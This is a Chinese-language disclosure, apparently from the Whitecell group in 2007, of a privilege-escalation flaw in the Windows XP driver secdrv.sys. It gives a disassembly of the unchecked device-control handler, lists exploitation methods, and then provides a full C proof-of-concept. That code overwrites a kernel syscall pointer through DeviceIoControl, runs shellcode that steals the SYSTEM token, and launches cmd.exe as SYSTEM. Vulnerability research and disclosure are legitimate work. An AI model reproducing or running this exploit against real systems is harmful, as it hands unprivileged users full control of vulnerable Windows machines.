Windows XP 核心驱动 secdrv.sys 本地权限提升漏洞
这个内核提权的0day发现有段日子了,据说最近被 Symantec 拣到并报给了 MS,
经内部讨论后决定把细节公布出来,本意是和大家共同探讨,一起学习提高。此漏洞
程序仅供学习使用,对滥用此漏洞所造成的危害,Whitecell 组织与本人概不负责。
特此声名。
在分析 Windows 各个驱动程序的时候,无意间发现了一个漏洞,该漏洞可以让
任意用户提升到SYSTEM权限.该漏洞发生在驱动程序 secdrv.sys 的 IRP_MJ_DEVICE_CONTROL
理例程中,因为缺少必要的对必要的参数进行检查,导致可以写任意字节到任意核心内存,
导致D.o.S或者权限提升.下面是出现漏洞的代码分析片断:
DISPATCH处理函数
loc_11D60: ; DATA XREF: sub_11AA6+8Bo
.text:00011D60 push esi
.text:00011D61 mov esi, [esp+0Ch]
.text:00011D65 push edi
.text:00011D66 xor edi, edi
.text:00011D68 mov eax, [esi+60h]
.text:00011D6B and dword ptr [esi+18h], 0
.text:00011D6F and dword ptr [esi+1Ch], 0
.text:00011D73 mov al, [eax]
.text:00011D75 test al, al
.text:00011D77 jz short loc_11D85
.text:00011D77
.text:00011D79 cmp al, 0Eh
.text:00011D7B jnz short loc_11D85
.text:00011D7B
.text:00011D7D push esi
.text:00011D7E call sub_11CD8 ;-> 处理IRP_MJ_DEVICE_CONTROL
.text:00011D7E
.text:00011D83 mov edi, eax
.text:00011D83
.text:00011D85
.text:00011D85 loc_11D85: ; CODE XREF: .text:00011D77j
.text:00011D85 ; .text:00011D7Bj
.text:00011D85 xor dl, dl
.text:00011D87 mov ecx, esi
.text:00011D89 call ds:IofCompleteRequest
.text:00011D8F mov eax, edi
.text:00011D91 pop edi
.text:00011D92 pop esi
.text:00011D93 retn 8
有问题的函数:
.text:00011CD8 sub_11CD8 proc near ; CODE XREF: .text:00011D7Ep
.text:00011CD8
.text:00011CD8 arg_0 = dword ptr 8
.text:00011CD8
.text:00011CD8 push ebx
.text:00011CD9 mov ebx, [esp+arg_0]
.text:00011CDD push ebp
.text:00011CDE push esi
.text:00011CDF mov eax, [ebx+60h]
.text:00011CE2 push edi
.text:00011CE3 cmp dword ptr [eax+0Ch], 0CA002813h
.text:00011CEA jz short loc_11D07 ; -> 处理 0CA002813H 控制字
.text:00011CEA
.text:00011CEC mov eax, dword_12364
.text:00011CF1 xor edi, edi
.text:00011CF3 cmp eax, edi
.text:00011CF5 jnz short loc_11CFE
.text:00011CF5
.text:00011CF7 mov eax, 0C0000010h
.text:00011CFC jmp short loc_11D39
.text:00011CFC
.text:00011CFE ; ---------------------------------------------------------------------------
.text:00011CFE
.text:00011CFE loc_11CFE: ; CODE XREF: sub_11CD8+1Dj
.text:00011CFE lea ecx, [ebx+18h]
.text:00011D01 push ecx
.text:00011D02 push ebx
.text:00011D03 call eax
.text:00011D05 jmp short loc_11D59
.text:00011D05
.text:00011D07 ; ---------------------------------------------------------------------------
.text:00011D07
.text:00011D07 loc_11D07: ; CODE XREF: sub_11CD8+12j
.text:00011D07 xor edi, edi
.text:00011D09 mov [ebx+18h], edi
.text:00011D0C mov [ebx+1Ch], edi
.text:00011D0F mov ebp, [eax+4]
.text:00011D12 mov esi, [eax+10h]
.text:00011D15 cmp [eax+8], ebp
.text:00011D18 jnz short loc_11D34
.text:00011D18
.text:00011D1A push dword ptr [esi+0Ch]
.text:00011D1D lea eax, [esi+10h]
.text:00011D20 push eax
.text:00011D21 mov eax, dword_12358
.text:00011D26 push eax
.text:00011D27 push dword ptr [esi+4]
.text:00011D2A push dword ptr [esi]
.text:00011D2C call dword ptr [eax+10h] ; -> 该函数中没有检查输入输出
.text:00011D2F cmp eax, 0Ah
.text:00011D32 jz short loc_11D41 ; -> 如果函数返回 0Ah 那么进行拷贝
.text:00011D32
.text:00011D34
.text:00011D34 loc_11D34: ; CODE XREF: sub_11CD8+40j
.text:00011D34 mov eax, 0C0000001h
.text:00011D34
.text:00011D39
.text:00011D39 loc_11D39: ; CODE XREF: sub_11CD8+24j
.text:00011D39 mov [ebx+18h], eax
.text:00011D3C mov [ebx+1Ch], edi
.text:00011D3F jmp short loc_11D59
.text:00011D3F
.text:00011D41 ; ---------------------------------------------------------------------------
.text:00011D41
.text:00011D41 loc_11D41: ; CODE XREF: sub_11CD8+5Aj
.text:00011D41 mov edi, [ebx+3Ch] ; -> 在此之前没有对UserBuffer进行检查,直接复制数据到UserBuffer
.text:00011D44 mov ecx, ebp
.text:00011D46 mov eax, ecx
.text:00011D48 shr ecx, 2
.text:00011D4B rep movsd
.text:00011D4D mov ecx, eax
.text:00011D4F and ecx, 3
.text:00011D52 xor eax, eax
.text:00011D54 rep movsb
.text:00011D56 mov [ebx+1Ch], ebp
.text:00011D56
.text:00011D59
.text:00011D59 loc_11D59: ; CODE XREF: sub_11CD8+2Dj
.text:00011D59 ; sub_11CD8+67j
.text:00011D59 pop edi
.text:00011D5A pop esi
.text:00011D5B pop ebp
.text:00011D5C pop ebx
.text:00011D5D retn 4
.text:00011D5D
.text:00011D5D sub_11CD8 endp
看完漏洞代码的片断后,我们知道这个漏洞其实非常好利用
利用方法1:
和之前的Symtdi.sys的提权漏洞一样,去 HOOK 一个不常用的系统调用,然后
我们自己出发系统调用,来使系统运行我们的特权代码
利用方法2:
由于没有写入的数据限制,我们可以直接在GDT中添加调用门,或者在 HOOK IDT
中的中断处理例程 (要注意多CPU的情况)
#include <stdio.h>
#include <windows.h>
#pragma comment (lib, "ntdll.lib")
typedef LONG NTSTATUS;
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
typedef struct _IMAGE_FIXUP_ENTRY {
WORD offset:12;
WORD type:4;
} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemModuleInformation=11,
} SYSTEM_INFORMATION_CLASS;
typedef struct _SYSTEM_MODULE_INFORMATION { // Information Class 11
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT ModuleNameOffset;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
NTSTATUS
(NTAPI *NtAllocateVirtualMemory)(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG AllocationSize,
IN ULONG AllocationType,
IN ULONG Protect
);
VOID
SetShellCodeToMemory(
PVOID ShellCodeMemory
)
{
OSVERSIONINFOEX OsVersionInfo;
RtlZeroMemory( &OsVersionInfo, sizeof(OsVersionInfo) );
OsVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
GetVersionEx ((OSVERSIONINFO *) &OsVersionInfo);
if ( OsVersionInfo.dwMajorVersion != 5 ) {
printf( "Not NT5 system\n" );
ExitProcess( 0 );
return;
}
if ( OsVersionInfo.dwMinorVersion == 1 ) {
__asm {
call CopyXpShellCode
nop
nop
nop
nop
nop
nop
mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
mov eax,[eax]
mov esi,[eax+0x220]
mov eax,esi
searchXp:
mov eax,[eax+0x88]
sub eax,0x88
mov edx,[eax+0x84]
cmp edx,0x4 // Find System Process
jne searchXp
mov eax,[eax+0xc8] // 获取system进程的token
mov [esi+0xc8],eax // 修改当前进程的token
ret 8
CopyXpShellCode:
pop esi
mov edi, ShellCodeMemory
lea ecx, CopyXpShellCode
sub ecx, esi
cld
rep movsb
}
}
}
int main(int argc, char* argv[])
{
NTSTATUS status;
PVOID ZwVdmControl = NULL;
DWORD HookAddress = 0x804E3AD8; // test by xp sp2
PVOID ShellCodeMemory = (PVOID)0x200;
DWORD MemorySize = 0x1000;
HANDLE deviceHandle;
DWORD dwReturnSize = 0;
SC_HANDLE hscmHandle = NULL;
SC_HANDLE hscDriver = NULL;
PROCESS_INFORMATION pi;
STARTUPINFOA stStartup;
PVOID InputBuffer = NULL;
printf( "\tWindows Local Privilege Escalation Vulnerability Exploit 0day (POC)\n" );
printf( "Create by Whitecell's Polymorphours@whitecell.org 2007/04/15\n" );
printf( "TEST OS: WINDOWS XP SP2\n" );
printf( "[*] Connect SCM ... " );
hscmHandle = OpenSCManager ( NULL, NULL, GENERIC_READ | SERVICE_START );
if ( NULL == hscmHandle ) {
printf( "failed, code: %d\n", GetLastError() );
return 0;
}
printf( "success!!\n" );
printf( "[*] Open services ... " );
hscDriver = OpenService( hscmHandle, "secdrv", GENERIC_READ | SERVICE_START );
if ( NULL == hscDriver ) {
printf( "failed, code: %d\n", GetLastError() );
CloseServiceHandle ( hscmHandle );
return 0;
}
printf( "success!!\n" );
printf( "[*] Start services ... " );
//
// 启动secdrv驱动
//
if ( !StartService( hscDriver, 0, NULL ) ) {
if ( ERROR_SERVICE_ALREADY_RUNNING != GetLastError() ) {
printf( "failed, code: %d\n", GetLastError() );
CloseServiceHandle ( hscDriver );
CloseServiceHandle ( hscmHandle );
return 0;
}
}
printf( "success!!\n" );
CloseServiceHandle ( hscDriver );
CloseServiceHandle ( hscmHandle );
NtAllocateVirtualMemory = (long (__stdcall *)(void *,void ** ,unsigned long,unsigned long *,unsigned long,unsigned
long))GetProcAddress( LoadLibrary("ntdll.dll"), "NtAllocateVirtualMemory" );
if ( NtAllocateVirtualMemory == NULL ) {
printf( "GetProcAddress failed, code: %d\n" );
return 0;
}
ZwVdmControl = GetProcAddress( LoadLibrary("ntdll.dll"), "ZwVdmControl" );
printf( "[*] Create execute environment ... " );
status = NtAllocateVirtualMemory( (HANDLE)-1,
&ShellCodeMemory,
0,
&MemorySize,
MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE );
if ( status != STATUS_SUCCESS ) {
printf( "failed!\n[-] NtAllocateVirtualMemory failed, status: %08X\n", status );
return 0;
}
printf( "Ok!\n" );
//
// 初始化 ShellCode
//
memset( ShellCodeMemory, 0x90, MemorySize );
SetShellCodeToMemory( (PVOID)((DWORD)ShellCodeMemory + 0x200) );
deviceHandle = CreateFile("\\\\.\\secdrv",
0,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL);
if ( INVALID_HANDLE_VALUE == deviceHandle ) {
printf( "[-] Open device failed, code: %d\n", GetLastError() );
return 0;
} else {
printf( "[*] Open device success\n" );
}
InputBuffer = LocalAlloc( LPTR, 0x1000 );
*(PDWORD)InputBuffer = 0x1;
*(PDWORD)((DWORD)InputBuffer + 0x4) = 0x96;
DeviceIoControl( deviceHandle,
0xca002813,
InputBuffer,
4,
(PVOID)HookAddress,
4,
&dwReturnSize,
NULL );
CloseHandle( deviceHandle );
printf( "[*] call shellcode ... " );
_asm {
xor ecx,ecx
push ecx
push ecx
mov eax, ZwVdmControl
call eax
}
printf( "Done.\n" );
printf( "[*] Create New Process\n" );
GetStartupInfo( &stStartup );
CreateProcess( NULL,
"cmd.exe",
NULL,
NULL,
TRUE,
NULL,
NULL,
NULL,
&stStartup,
&pi );
WSS(Whitecell Security Systems),一个非营利性民间技术组织,致力于各种系统安全技术的研究。坚持传统的hacker精神,追求技术的精纯。
WSS 主页:http://www.whitecell.org/
WSS 论坛:http://www.whitecell.org/forums/